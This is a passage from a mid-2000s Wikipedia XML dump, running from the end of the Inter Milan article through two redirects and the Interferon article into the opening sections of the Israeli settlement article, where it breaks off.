{{Football squad player|no=31|nat=Brazil|name=[[César Rodríguez Aparecido|César]]|pos=MF}}
{{Football squad player|no=33|nat=Cameroon|name=[[Pierre Wome]]|pos=DF}}
{{Football squad player|no=44|nat=Italy|name=[[Matteo Momenté]]|pos=FW|other=from youth team}}
{{Football squad player|no=49|nat=Italy|name=[[Marco Andreolli]]|pos=DF|other=from youth team}}
{{Football squad player|no=55|nat=Cameroon|name=[[Daniel Maa Boumsong]]|pos=MF|other=from youth team}}
{{Football squad player|no=87|nat=Italy|name=[[Giacomo Bindi]]|pos=GK|other=from youth team}}
{{Football squad end}}

==Famous players since 1908==

{|
|valign=&quot;top&quot;|
*{{flagicon|Brazil}} [[Adriano Leite Ribeiro|Adriano]] 
*{{flagicon|Italy}} [[Ermanno Aebi]]
*{{flagicon|Italy}} [[Luigi Allemandi]]
*{{flagicon|Italy}} [[Alessandro Altobelli]] 
*{{flagicon|Argentina}} [[Antonio Valentin Angelillo]] 
*{{flagicon|Italy}} [[Gino Armano]] 
*{{flagicon|Italy}} [[Dino Baggio]] 
*{{flagicon|Italy}} [[Roberto Baggio]] 
*{{flagicon|Italy}} [[Giuseppe Baresi]] 
*{{flagicon|Argentina}} [[Gabriel Batistuta]] 
*{{flagicon|Italy}} [[Evaristo Beccalossi]] 
*{{flagicon|Turkey}} [[Emre Belözoğlu|Belözoğlu Emre]] 
*{{flagicon|Netherlands}} [[Dennis Bergkamp]] 
*{{flagicon|Italy}} [[Giuseppe Bergomi]] 
*{{flagicon|Italy}} [[Nicola Berti]]
*{{flagicon|France}} [[Laurent Blanc]] 
*{{flagicon|Italy}} [[Roberto Boninsegna]] 
*{{flagicon|Ireland}} [[Liam Brady]] 
*{{flagicon|Germany}} [[Andreas Brehme]] 
*{{flagicon|Italy}} [[Lorenzo Buffon]] 
*{{flagicon|Italy}} [[Tarcisio Burgnich]] 
*{{flagicon|Argentina}} [[Esteban Cambiasso]]
*{{flagicon|Italy}} [[Fabio Cannavaro]] 
*{{flagicon|Italy}} [[Franco Causio]]
*{{flagicon|Italy}} [[Luigi Cevenini]] 
*{{flagicon|Colombia}} [[Ivan Ramiro Cordoba|Ivan Cordoba]]
*{{flagicon|Italy}} [[Mario Corso]]
*{{flagicon|Argentina}} [[Hernan Crespo]] 
*{{flagicon|Argentina}} [[Attilio Demaria]] 
*{{flagicon|Argentina}} [[Ramon Diaz]] 
*{{flagicon|France}} [[Youri Djorkaeff]] 
*{{flagicon|Italy}} [[Angelo Domenghini]] 
*{{flagicon|Italy}} [[Giacinto Facchetti]] 
*{{flagicon|Italy}} [[Giovanni Ferrari]]
*{{flagicon|Italy}} [[Riccardo Ferri]]
*{{flagicon|Portugal}} [[Luis Figo|Luis Figo]] 
*{{flagicon|Italy}} [[Giuseppe Fossati]]
*{{flagicon|Italy}} [[Virgilio Fossati]]
*{{flagicon|Italy}} [[Annibale Frossi]]
*{{flagicon|Italy}} [[Giorgio Ghezzi]]
*{{flagicon|Italy}} [[Aristide Guarneri]]
|valign=&quot;top&quot;|
*{{flagicon|England}} [[Paul Ince]]
*{{flagicon|Brazil}} [[Jair_(football)|Jair]]
*{{flagicon|Germany}} [[Jürgen Klinsmann]]
*{{flagicon|Italy}} [[Benito Lorenzi]]
*{{flagicon|Nigeria}} [[Obafemi Martins]]
*{{flagicon|Uruguay}} [[Ernesto Mascheroni]]
*{{flagicon|Germany}} [[Lothar Matthäus]]
*{{flagicon|Italy}} [[Sandro Mazzola]]
*{{flagicon|Italy}} [[Giuseppe Meazza]]
*{{flagicon|Serbia and Montenegro}} [[Sinisa Mihajlovic]]
*{{flagicon|Italy}} [[Francesco Moriero]]
*{{flagicon|Italy}} [[Stefano Nyers]]
*{{flagicon|Italy}} [[Aldo Olivieri]]
*{{flagicon|Italy}} [[Gabriele Oriali]]
*{{flagicon|Italy}} [[Gianluca Pagliuca]]
*{{flagicon|Argentina}} [[Daniel Passarella]]
*{{flagicon|Italy}} [[Angelo Peruzzi]]
*{{flagicon|Italy}} [[Armando Picchi]]
*{{flagicon|Italy}} [[Andrea Pirlo]]
*{{flagicon|Austria}} [[Herbert Prohaska]]
*{{flagicon|Uruguay}} [[Alvaro Recoba]]
*{{flagicon|Brazil}} [[Roberto Carlos da Silva|Roberto Carlos]]
*{{flagicon|Brazil}} [[Ronaldo]]
*{{flagicon|Germany}} [[Karl-Heinz Rummenigge]]
*{{flagicon|Germany}} [[Matthias Sammer]]
*{{flagicon|Italy}} [[Salvatore Schillaci]]
*{{flagicon|Netherlands}} [[Clarence Seedorf]]
*{{flagicon|Italy}} [[Aldo Serena]]
*{{flagicon|Argentina}} [[Diego Simeone]]
*{{flagicon|Sweden}} [[Lennart Skoglund]]
*{{flagicon|Uruguay}} [[Ruben Sosa]]
*{{flagicon|Spain}} [[Luis Suarez]]
*{{flagicon|Italy}} [[Marco Tardelli]]
*{{flagicon|Italy}} [[Francesco Toldo]]
*{{flagicon|Argentina}} [[Juan Sebastián Verón]]
*{{flagicon|Italy}} [[Lido Vieri]]
*{{flagicon|Italy}} [[Christian Vieri]]
*{{flagicon|Netherlands}} [[Aron Winter]]
*{{flagicon|Chile}} [[Ivan Zamorano]]
*{{flagicon|Argentina}} [[Javier Zanetti]]
*{{flagicon|Italy}} [[Walter Zenga]]
|}

==Internazionale Presidents since 1908==
{|
|valign=&quot;top&quot;|  
*[[1908]] [[Giovanni Paramithiotti]]
*[[1909]] [[Ettore Strauss]]
*[[1910]] [[Carlo De Medici]]
*[[1912]] [[Emilio Hirzel]]
*[[1914]] [[Luigi Ansbacher]]
*[[1914]] [[Giuseppe Visconti Di Modrone]]
*[[1919]] [[Giorgio Hulss]]
*[[1920]] [[Francesco Mauro]]
*[[1923]] [[Enrico Olivetti]]
*[[1926]] [[Senatore Borletti]]
|valign=&quot;top&quot;|
*[[1929]] [[Ernesto Torrusio]]
*[[1930]] [[Oreste Simonotti]]
*[[1932]] [[Ferdinando Pozzani]]
*[[1942]] [[Carlo Masseroni]]
*[[1955]] [[Angelo Moratti]]
*[[1968]] [[Ivanoe Fraizzoli]]
*[[1984]] [[Ernesto Pellegrini]]
*[[1995]] [[Massimo Moratti]]
*[[2004]] [[Giacinto Facchetti]]
|}

==Internazionale Managers since 1908==
{|
|valign=&quot;top&quot;|
*1909-15 - [[Virgilio Fossati]]
*1919    - [[Virgilio Fossati]]
*1920    - [[Nino Resegotti]]
*1922-24 - [[Bob Spotiswood]]
*1924-26 - [[Paulo Schiedler]]
*1926-28 - [[Arpad Veisz]]
*1928-29 - [[Josef Viola]]
*1929-31 - [[Arpad Veisz]]
*1931-32 - [[Istvan Toth]]
*1932-34 - [[Arpad Veisz]]
*1935-36 - [[Gyula Feldmann]]	
*1936    - [[Albino Carraro]]
*1936-38 - [[Armando Castellazzi]]
*1938-40 - [[Tony Carnelli]]
*1940    - [[Giuseppe Peruchetti]]
*1941    - [[Italo Zamberletti]]
*1941-42 - [[Ivo Fiorentini]]
*1942-43 - [[Giovanni Ferrari]]
*1945-46 - [[Carlo Carcano]]
*1946    - [[Nino Nutrizio]]
*1947-48 - [[Giuseppe Meazza]] 
*1948    - [[Carlo Carcano]]
*1948    - [[John Astley]]
|width=&quot;33&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*1949-50 - [[Giulio Cappelli]]
*1950-52 - [[Aldo Olivieri]]
*1952-55 - [[Alfredo Foni]]
*1955    - [[Aldo Campatelli]]
*1955-56 - [[Giuseppe Meazza]]
*1956    - [[Annibale Frossi]]
*1957    - [[Luigi Ferrero]]
*1957    - [[Giuseppe Meazza]]
*1957-58 - [[John Carver]]
*1958    - [[Giuseppe Bigogno]]
*1959-60 - [[Aldo Campatelli]]
*1960    - [[Camillo Achilli]]
*1960    - [[Giulio Cappelli]]
*1960-68 - [[Helenio Herrera]]
*1968-69 - [[Alfredo Foni]]
*1969-71 - [[Heriberto Herrera]]
*1971-73 - [[Giovanni Invernizzi]]
*1973    - [[Enea Masiero]]
*1973    - [[Heriberto Herrera]]
*1974    - [[Enea Masiero]]
*1974-75 - [[Luis Suarez]]
*1976-77 - [[Giuseppe Chiappella]]
*1977-82 - [[Eugenio Bersellini]]
|width=&quot;33&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*1982-83 - [[Rino Marchesi]]
*1983-84 - [[Luigi Radice]]
*1984-86 - [[Ilario Castagner]]
*1986    - [[Mario Corso]]
*1986-91 - [[Giovanni Trapattoni]]
*1991    - [[Corrado Orrico]]
*1992    - [[Luis Suarez]]
*1992-94 - [[Osvaldo Bagnoli]]
*1994    - [[Giampiero Marini]]
*1994-95 - [[Ottavio Bianchi]]
*1995    - [[Luis Suarez]]
*1995-97 - [[Roy Hodgson]]
*1997    - [[Luciano Castellini]]
*1997-98 - [[Luigi Simoni]]
*1999    - [[Mircea Lucescu]]
*1999    - [[Luciano Castellini]]
*1999	 - [[Roy Hodgson]]
*1999-01 - [[Marcello Lippi]]
*2001    - [[Marco Tardelli]]
*2001-03 - [[Héctor Raul Cúper]]
*2003    - [[Corrado Verdelli]]
*2004    - [[Alberto Zaccheroni]]
*2004    - [[Roberto Mancini]]
|}

==Team Honours==

*[[Serie A|Italian Championships]]: '''13'''
#1909/10 Campelli, Fronte, Zoller, Yenni, V.Fossati, Stebler, Capra, C.Payer, E.Peterly, Aebi, Schuler. 
#1919/20 Campelli, Francesconi, Beltrami, Milesi, G.Fossati, Scheidler; Conti, Aebi, Agradi, L.Cevenini, Asti 
#1929/30 Degani, Gianfardoni, Allemandi, Rivolta, Viani, Castellazzi, Visentin, Serantoni, Meazza, Blasevich, Conti
#1937/38 Peruchetti, Buonocore, Setti, Locatelli, Olmi, Antona, Frossi, N.Ferrara, Meazza, Ferrari, P.Ferraris 
#1939/40 Peruchetti, Poli, Setti, Locatelli, Olmi, Campatelli, Frossi, A.Demaria, Guarnieri, Candiani, P.Ferraris 
#1952/53 Ghezzi, Blason, Giacomazzi, Neri, Giovannini, Nesti, Armano, Mazza, Lorenzi, Skoglund, Nyers 
#1953/54 Ghezzi, Giacomazzi, Padulazzi, Neri, Giovannini, Nesti, Armano, Mazza, Lorenzi, Skoglund, Nyers
#1962/63 Buffon, Burgnich, Facchetti, Zaglio, Guarneri, Picchi, Jair, S.Mazzola, Di Giacomo, Suarez, Corso 
#1964/65 Sarti, Burgnich, Facchetti, Tagnin, Guarneri, Picchi, Jair, S.Mazzola, Domenghini, Suarez, Corso 
#1965/66 Sarti, Burgnich, Facchetti, Bedin, Guarneri, Picchi, Jair, S.Mazzola, Domenghini, Suarez, Corso
#1970/71 L.Vieri, Bellugi, Facchetti, Bedin, Giubertoni, Burgnich, Jair, Bertini, Boninsegna, S.Mazzola, Corso
#1979/80 Bordon, G.Baresi, Oriali, Pasinato, Mozzini, Bini, Caso, Marini, Altobelli, Beccalossi, Muraro
#1988/89 Zenga, Bergomi, Brehme, Matteoli, Ferri, Mandorlini, A.Bianchi, Berti, Diaz, Matthaeus, A.Serena

*[[European Cup]]: '''2''' 
#1963/64 Sarti, Burgnich, Facchetti, Tagnin, Guarneri, Picchi, Jair, S.Mazzola, Milani, Suarez, Corso
#1964/65 Sarti, Burgnich, Facchetti, Bedin, Guarneri, Picchi, Jair, S.Mazzola, Peirò, Suarez, Corso 

*[[Coppa Italia|Italian Cup]] '''4''' 
#1938/39 Sain, Buonocore, Setti, Locatelli, Olmi, Campatelli, Frossi, A.Demaria, Guarnieri, G.Meazza, P.Ferraris 
#1977/78 Cipollini, Canuti, Fedele, Baresi, Gasparini, Bini, Scanziani, Oriali, Altobelli, Marini, Muraro 
#1981/82 Bordon, Bergomi, Baresi, Marini, Oriali, Canuti, Bini, Bagni, Prohaska, Beccalossi, Altobelli  
#2004/05 Toldo, J.Zanetti, Materazzi, Mihajlovic, Favalli, Ze Maria, Cambiasso, Stankovic, Kily Gonzalez, Martins, Adriano

*[[UEFA Cup]]: '''3''' 
#1990/91 Zenga, Bergomi, Brehme, Battistini, Ferri, A.Paganin, A.Bianchi, Berti, Klinsmann, Matthaeus, Pizzi
#1993/94 Zenga, A.Paganin, D.Fontolan, Jonk, Bergomi, Battistini, Orlando, Manicone, Berti, Bergkamp, Sosa 
#1997/98 Pagliuca, Colonnese, Fresi, West, J.Zanetti, A.Winter, Ze Elias, Djorkaeff, Simeone, Zamorano, Ronaldo

*[[European/South American Cup|Intercontinental Cup]]: '''2''' 
#1964 Sarti, Malatrasi, Facchetti, Tagnin, Guarneri, Picchi, Domenghini, Milani, Peirò, Suarez, Corso
#1965 Sarti, Burgnich, Facchetti, Bedin, Guarneri, Picchi, Jair, S.Mazzola, Peirò, Suarez, Corso

*[[Italian Super Cup|SuperCoppa Italiana]] '''2'''  
#1988/89 Zenga, G.Baresi, Brehme, Matteoli, Bergomi, Verdelli, Bianchi, Berti, Morello, Cucchi, A.Serena 
#2005/06 Toldo, J.Zanetti, Materazzi, Cordoba, Favalli, Ze Maria, Cambiasso, Stankovic, Veron, Martins, Adriano


'''Finals:'''

*European Cup 2
#1966/67 Sarti; Burgnich, Guarneri, Facchetti; Bedin, Picchi; Domenghini, Mazzola, Cappellini, Bicicli, Corso
#1971/72 Bordon; Burgnich, Facchetti, Bellugi, Oriali; Giubertoni, Bedin, Frustalupi; Jair (Pellizarro), Mazzola, Boninsegna

*UEFA Cup 1
#1996/97 Pagliuca, Bergomi, Fresi, Paganin, Pistone, Djorkaeff, Sforza, Ince, Zanetti, Ganz, Zamorano


*Central Europe Cup ([[Mitropa Cup]]) 1 (The Mitropa Cup carried a prestige only comparable with the Champions' Cup of later decades)
#1932/33 


*Italian Cup 4
#1958/59  Matteucci, Guarneri, Gatti, Masiero, Cardarelli, Bolchi, Bicieli, Firmani, Angelillo, Corso, Rizzolini
#1964/65  Sarti, Burgnich, Facchetti, Bedin, Guarneri, Picchi, Jair, S.Mazzola, Peirò, Suarez, Corso
#1976/77  
#1999/00 Peruzzi, Serena, Cordoba, Blanc, Domoraud, J.Zanetti, Di Biagio, Cauet, Seedorf, R.Baggio, Zamorano
#2004/2005 (Leg 1) Toldo, J Zanetti, Mihajlovic, Materazzi, Ze Maria, Favalli, Kily (v.d. Meyde), Cambiasso, Stankovic, Martins (Cruz), Adriano.  (Leg 2) Toldo, Cordoba, Mihajlovic, Materazzi, Ze Maria, Favalli (Gamarra), Kily, Stankovic, C.Zanetti, Martins, Cruz

'''Youth Trophies'''

*National Championship &quot;Primavera&quot; - Under 20: 1964, 1966, 1969, 1989, 2002
*Coppa Italia - Under 20: 1973, 1976, 1977, 1978
*National Championship &quot;Berretti&quot; - Under 18: 1980, 1984, 1991
*National Championship &quot;Allievi&quot; - Under 16: 1985, 1987, 1998
*National Championship &quot;Giovanissimi&quot; - Under 14: 1988, 1997, 2003
*International Trophy &quot;Città di Viareggio&quot; - Under 20: 1962, 1971, 1986, 2002
*Youth International Tournament - Città di Bergamo: 1998, 1999
*Youth Tournament U-19 Naters (Valais, Switzerland): 1999
*Citta di Gradisca-Trofeo Nereo Rocco U-16/U-17: 2000 
*Trofeo Internazionale Giovanile &quot;Citta di Arco - Beppe Viola&quot; (U-17/U-16): 1999
*Tournoi International Juniors U-19 de Croix (France): 1964
*Tournoi Espoirs U-20 du CS Chênois (Switzerland): 1976
*San Remo U-18 Tournament (Italy): 1948, 1953, 1954, 1956, 1970, 1990
*Torneo Internazionale U-19/U-20 di Bellinzona (Ticino, Switzerland): 1946, 1949, 1966, 1979, 1986, 1987, 1988, 1989
*Blue Stars Youth Tournament (U-20 Zürich, Switzerland): 1983
*Tournoi Juniors du Servette FC, Switzerland: 1953,1954,1955,1957,1961

'''Other Trophies won by Inter'''

*Turnier Sankt Moritz: 1911
*Torneo Zürich di Milano: 1969
*Trofeo Ciudad de Vigo: 1996
*Trofeo Santiago Bernabéu: 1993, 2001
*Coppa Super Clubs (Mundialito de Clubs): 1981
*Trofeo Birra Moretti: 2001, 2002
*Trofeo Valle d'Aosta: 1998
*Trofeo TIM: 2002, 2003, 2004, 2005

==External links==
*[http://www.inter.it Official Website] (in [[Italian language|Italian]], [[English language|English]], and [[Spanish language|Spanish]])
*[http://www.internazionale.fr Internazionale.Fr]
*[http://www.forza-inter.com/forums/ Forza Inter Forums]
*[http://only-inter.fateback.com/default.htm Only Inter Website]
*[http://www.intermilan-online.com Inter Milan Online]
*[http://www.interfans.org Inter Fans]
*[http://www.intermediolan.com/ Polish Inter Milan Site]
*[http://www.inter-calcio.it/ Inter Calcio]
*[http://www.interfc.it/ Inter Emotional]
*[http://www.tuttointer.com/ TuttoInter]
*[http://www.inter-chat.tk/ Inter CHAT]
*[http://www.resultsfromfootball.com/seriea-team/fcinternazionale.html Inter statistics]

{{Champions League 2005/06}}
{{Serie A}}

[[Category:Italian football clubs]]
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[[pt:Football Club Internazionale Milano]]
[[ru:Интер Милан]]
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[[zh:國際米蘭足球俱樂部]]</text>
    </revision>
  </page>
  <page>
    <title>IgNobel Prize</title>
    <id>15117</id>
    <revision>
      <id>15912623</id>
      <timestamp>2003-03-15T03:25:11Z</timestamp>
      <contributor>
        <username>DavidLevinson</username>
        <id>1689</id>
      </contributor>
      <comment>consolidate</comment>
      <text xml:space="preserve">#REDIRECT [[Ig Nobel Prize]]</text>
    </revision>
  </page>
  <page>
    <title>Imbolg</title>
    <id>15118</id>
    <revision>
      <id>15912624</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Imbolc]]
</text>
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  </page>
  <page>
    <title>Interferon</title>
    <id>15120</id>
    <revision>
      <id>40341679</id>
      <timestamp>2006-02-19T22:57:47Z</timestamp>
      <contributor>
        <username>Bemoeial</username>
        <id>13705</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Interferons''' (IFNs) are natural [[protein]]s produced by the cells of the [[immune system]]s of most [[animal]]s in response to challenges by foreign agents such as [[virus]]es, [[bacterium|bacteria]], [[parasite]]s and [[tumor]] cells. Interferons belong to the large class of [[glycoproteins]] known as [[cytokine]]s.

==Types==
In [[human]]s, there are 3 major classes of interferon (IFN): 

# The human type I IFNs consists of 13 different '''alpha''' isoforms (subtypes with slightly different specificities) - IFNA([[IFNA1_(protein)|1]],[[IFNA2_(protein)|2]],[[IFNA4_(protein)|4]],[[IFNA5_(protein)|5]],[[IFNA6_(protein)|6]],[[IFNA7_(protein)|7]],[[IFNA8_(protein)|8]],[[IFNA10_(protein)|10]],[[IFNA13_(protein)|13]],[[IFNA14_(protein)|14]],[[IFNA16_(protein)|16]],[[IFNA17_(protein)|17]],[[IFNA21_(protein)|21]]), and single '''beta''' - [[IFNB1]], '''omega''' - [[IFNW1]], '''epsilon''' - [[IFNE1]] and '''kappa''' - [[IFNK]] isoforms.  Homologous molecules are found in many species, including rats and mice (and most mammals) and have been identified in birds, reptiles, amphibians and fish species. In addition to these IFNs, IFN '''zeta''' (limitin) in mice,IFN '''nu''' in cats, IFN '''tau''' in ruminants and IFN '''delta''' in pigs have been identified. All type I IFNs bind to a specific cell surface receptor complex known as IFNAR consisting of [[IFNAR1]] and [[IFNAR2]] chains.
# The type II IFNs consists of IFN '''gamma''' - [[IFNG]], its sole member.  The mature IFNG ligand is an anti-parallel homodimer, and it binds to the IFNG receptor (IFNGR) complex, which is made up of two of each [[IFNGR1]] and [[IFNGR2]] subunits.
# The recently discovered 3rd class consists of IFN-'''lambda''' with 3 different isoforms - [[IL29]]. [[IL28A]], [[IL28B]] and signal through a receptor complex consisting of IL10R2 and IFNLR1.

While there are evidence to suggest other signaling mechanisms exist, the [[JAK-STAT pathway|JAK-STAT]] signaling pathway is the best-characterised and commonly accepted IFN signaling pathway.

==Principles==
In a majority of cases, the production of interferons is induced in response to microbes such as viruses and  bacteria and their products (viral glycoproteins, viral RNA, bacterial endotoxin, flagella, CpG DNA), as well as mitogens and other cytokines, for example [[IL-1|interleukin-1]], [[IL-2|interleukin-2]], [[IL-12|interleukin-12]], [[TNF|tumor-necrosis factor]] and [[CSF|colony-stimulating factor]], that are synthesised in the response to the appearance of various antigens in the body. Their metabolism and excretion take place mainly in the liver and kidneys. They hardly pass the [[placenta]] and the [[blood-brain barrier]]. 

Interferon-alpha and -beta are produced by many cell types, including [[T-cell]]s and [[B-cell]]s, macrophages, fibroblasts, endothelial cells, osteoblasts and others, and are an important component of the anti-[[virus (biology)|viral]] response. They stimulate both [[macrophage |macrophages]] and NK cells. Interferons -alpha and -beta are also active against [[tumor]]s. 

Interferon-gamma is involved in the regulation of the immune and inflammatory responses; in humans, there is only one type of interferon-gamma. It is produced in activated T-cells. Interferon-gamma has some anti-viral and anti-tumor effects, but these are generally weak; however, interferon-gamma potentiates the effects of interferon-alpha and interferon-beta. However, interferon-gamma must be released at the site of a tumor in very small doses; at this time, interferon-gamma is not very useful for treating cancer.

Interferon-gamma is also released by [[Th1 cell]]s, and recruits [[leukocyte]]s to a site of infection, resulting in increased inflammation. It also stimulates [[macrophage]]s to kill bacteria that have been engulfed. The interferon-gamma released by Th1 cells is also important in regulating the Th2 response. As interferon-gamma is vitally implicated in the regulation of immune response, its production can lead to autoimmune disorders.

Interferon-omega is released by [[leukocyte]]s at the site of viral infection or tumors.

==Pharmacological uses==
[[Image:Vials of Interferon Image 3549-PH.jpg|thumb|right|200px|Three vials filled with human leukocyte interferon. ]] 
Interferon was scarce and expensive until [[1980]] when the interferon [[gene]] was inserted into [[bacterium|bacteria]] using [[recombinant DNA technology]], allowing mass [[cultivation]] and purification from bacterial cultures.

[[Interferon-beta-1a]] is produced in mammalian cells.

Several different types of interferon are now approved for use in humans, and interferon therapy is used (in combination with chemotherapy and radiation) as a treatment for many types of systemic cancer. When used in the systemic therapy, IFN-&amp;alpha; and IFN-&amp;gamma; are mostly administered by an intramuscular injection. The injection of interferons in the muscle, in the vein, or under skin is generally well tolerated. The most frequent side-effects are flu-like symptoms: increased body temperature, feeling ill, fatigue, headache, muscle pain, and convulsion. Erythema, pain and hardness on the spot of injection are also frequently observed. Rarely, patients experience their hair falling out, dizziness and depression. All known effects are reversible and disappear a few days after the therapy has been finished.

Interferon-alpha was approved by the United States [[Food and Drug Administration]] (FDA) on [[February 25]] [[1991]] as a treatment for [[hepatitis C]]. Several different forms of interferon alpha, including interferon-alpha-2a, interferon-alpha-2b, and interferon-alfacon-1 are approved for the treatment of viral hepatitis. Interferon-alfa-2b is also used for [[chronic myelogenous leukemia]].

More than half of [[hepatitis C]] patients treated with interferon respond, with better blood tests and better liver biopsies.  There is some evidence that giving interferon immediately following infection can prevent hepatitis C; however, people infected by hepatitis C often do not display symptoms until months or years later.

More recently, the FDA approved [[pegylated]] interferon-alpha, in which [[polyethylene glycol]] is added to make the interferon last longer in the body. (Pegylated interferon-alpha-2b was approved in January 2001; pegylated interferon-alpha-2a was approved in October 2002.) The pegylated form is injected once weekly, rather than three times per week for conventional interferon-alpha. Used in combination with the [[antiviral]] drug [[ribavirin]], pegylated interferon produces sustained cure rates of 75% or better in people with genotype 2 or 3 hepatitis C (which is easier to treat) and about 50% in people with genotype 1 (which is most common in the U.S. and Western Europe).

Interferon-beta ([[Interferon-beta-1a]] and [[Interferon-beta-1b]]) is used in the treatment and control of the neurological disorder [[multiple sclerosis]]. By an as-yet-unknown mechanism, interferon-beta inhibits the production of Th1 cytokines and the activation of monocytes.

==See also==
*[[Immunotherapy]]
*[[Immunosuppression]]
*[[Immunosuppressive drug]]
*[[PEGASYS]]
*[[ATC_code_L03#L03AB_Interferons]]

{{Antivirals}}

[[Category:Cytokines]]

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  </page>
  <page>
    <title>Israeli settlement</title>
    <id>15123</id>
    <revision>
      <id>42065406</id>
      <timestamp>2006-03-03T15:54:57Z</timestamp>
      <contributor>
        <username>Palmiro</username>
        <id>105180</id>
      </contributor>
      <comment>rv imprecise addition</comment>
      <text xml:space="preserve">:''For Israeli settlements in Israel proper, see [[Settlements in Israel]]''

'''Israeli settlements''' are communities built for [[Israeli]] [[Jew]]ish [[Settler (disambiguation)|settler]]s in areas that it [[Israeli-occupied territories|captured]] during the 1967 [[Six-Day War]]. These areas are the [[West Bank]], [[East Jerusalem]], the [[Golan Heights]] and formerly the [[Sinai Peninsula]] and the [[Gaza Strip]]. The settlements have been declared illegal under [[international law]] by the [[United Nations Security Council]] [http://domino.un.org/UNISPAL.NSF/0/ba123cded3ea84a5852560e50077c2dc?OpenDocument] [http://domino.un.org/UNISPAL.NSF/0/0b7116abb4b7e3e9852560e5007688a0?OpenDocument] and the [[International Court of Justice]] [http://www.icj-cij.org/icjwww/idocket/imwp/imwp_advisory_opinion/imwp_advisory_opinion_20040709.htm], a position shared by a majority of UN member states [http://domino.un.org/UNISPAL.NSF/0/e29f7195c53cdda905256729005035e4?OpenDocument&amp;Highlight=2,ES-10%2F6], but not a unanimous view among all international law scholars; for example, the late Julius Stone [http://www.law.usyd.edu.au/~jurisprudence/Biography.htm] argued that they were legal under international law [http://www.aijac.org.au/resources/reports/international_law.pdf]. The Israeli policy of sponsoring, supporting, and/or tolerating the establishment of such settlements is one of the most contentious issues in the [[Israeli-Palestinian conflict]]&lt;!--, which [[Israeli-Palestinian conflict timeline|began]] decades earlier, in the 1920s--&gt;.&lt;!--dont see the last sentence as important for an introduction--&gt;

In 2004, the Israeli government announced its [[Israel unilateral disengagement plan|unilateral disengagement plan]] to dismantle all settlements in the Gaza Strip, as well as four settlements in the West Bank. The withdrawal was completed on [[September 12]], [[2005]]. 

== Terminology ==
Terms commonly used to describe this matter are themselves controversial.  They include:
*'''[[Settlers]]''' are people who have migrated from the land of their birth to live permanently in colonies controlled militarily by their home country.

In modern history, the word &quot;settlers&quot; is synonymous with terms like '''[[pioneers]]''', '''[[colonists]]''', or (as British people once called them) &quot;'''[[colonials]]'''&quot;. 

*'''Settlement''' vs '''community'''- there is broad agreement that the term settlement implies that these are recently established places, and therein lies the controversy.  Although many Israelis concede that the term &quot;settlement&quot; is apt for these reasons, others argue that these are re-established communities, built on Jewish towns and villages that were vacated by force as late as 1948 or much earlier.  They also point out that these are highly dissimilar places (see below), and that using one term is misleading.
:In [[Hebrew language|Hebrew]], the common term for the Israeli settlements outside the Green Line is ''hitnakhluyot'' (Hebrew: &amp;#1492;&amp;#1514;&amp;#1504;&amp;#1495;&amp;#1500;&amp;#1493;&amp;#1497;&amp;#1493;&amp;#1514;; singular - ''hitnakhlut'' or ''hitnakhalut'', &amp;#1492;&amp;#1514;&amp;#1504;&amp;#1495;&amp;#1500;&amp;#1493;&amp;#1514;). This term is broadly used in the media and in public, although some think it has acquired a derogatory shade in recent years. Settlers are called ''mitnakhalim'' (Hebrew:&amp;#1502;&amp;#1514;&amp;#1504;&amp;#1495;&amp;#1500;&amp;#1497;&amp;#1501;; singular - ''mitnakhel'', &amp;#1502;&amp;#1514;&amp;#1504;&amp;#1495;&amp;#1500;). The settlers themselves and their right-wing sympathizers prefer the term ''yishuvim'' (&amp;#1497;&amp;#1497;&amp;#1513;&amp;#1493;&amp;#1489;&amp;#1497;&amp;#1501;; singular - ''yishuv'', &amp;#1497;&amp;#1497;&amp;#1513;&amp;#1493;&amp;#1489;) for settlements and ''mityashvim'' (Hebrew: &amp;#1502;&amp;#1514;&amp;#1497;&amp;#1497;&amp;#1513;&amp;#1489;&amp;#1497;&amp;#1501;; singular - ''mityashev'', &amp;#1502;&amp;#1514;&amp;#1497;&amp;#1497;&amp;#1513;&amp;#1489;) for settlers, which are more neutral, as they also refer to settlements inside Israel proper. Some think these terms are a euphemism.

:In [[Arabic language|Arabic]], the term for settlements is ''mustawtanaat'' (Arabic: &amp;#1575;&amp;#1604;&amp;#1605;&amp;#1587;&amp;#1578;&amp;#1608;&amp;#1591;&amp;#1606;&amp;#1575;&amp;#1578;) and settlers are ''mustawtineen'' (Arabic: ????????).

* '''[[West Bank]] vs. [[Judea and Samaria]]''' - the term &quot;West Bank&quot; dates from the time that [[Jordan]] controlled the area in question (1948-1967), but is still by far the most common name used in the English-speaking world and by international organizations such as the UN. The terms &quot;Judea&quot; and &quot;Samaria&quot; (English for ''Yehuda'' and ''Shomron'') are historical terms that relate to the political geography of the Roman-era Jewish dominion in the area. Palestinians strongly object to the terms ''Judea'' and ''Samaria'', the use of which they deem to reflect Israeli expansionist aims. Among Palestinians, the specific area is referred to as 'the West Bank', but is commonly known as 'Palestine' or part of the [[Palestinian Territories]].

* &quot;'''Occupied'''&quot; vs. &quot;'''disputed'''&quot; vs. &quot;'''territories'''&quot; - the legal status of the areas is a much debated question (see below) and drives the choice of qualifier for them.

== Historical background ==
The [[armistice|cease-fire]] agreement following the [[1967 Six Day War]] left Israel in control of a number of areas captured during hostilities.  

* From [[Jordan]], Israel gained control of the entire western bank of the [[Jordan river]], including parts of [[Jerusalem]] previously controlled by Jordan - [[East Jerusalem]], and the [[West Bank]]. 
* From [[Egypt]], Israel gained control of the entire [[Sinai]] peninsula up to the [[Suez Canal]], and the [[Gaza]] strip.
* From [[Syria]], Israel gained control of most of the [[Golan Heights]].

Original Israeli policy at that time was to deny any Jewish settlement of these areas or even Jewish resettlement of specific locations where Jews had resided up until the 1948 [[Arab-Israeli War]] such as the Jewish villages listed in this [[List of villages depopulated during the 1948 Arab-Israeli war]] such as Kfar Etzion. Many attempts were made by [[Gush Emunim]] to establish outposts or resettle former Jewish areas and the Israeli government forcibly removed these attempts in the beginning, but in the absence of peace talks to determine the future of these and other disputed territories, Israel implemented different policies on their use, and did not enforce the original ban on settling.

* The municipal borders of Jerusalem were extended in 1967 to include all of the old city as well as other areas.  Residents within the new municipal borders were offered the choice between citizenship (if they met Israeli requirements for naturalization) and permanent residency if they wished to retain their Jordanian passports. This annexation was not recognized by most countries.
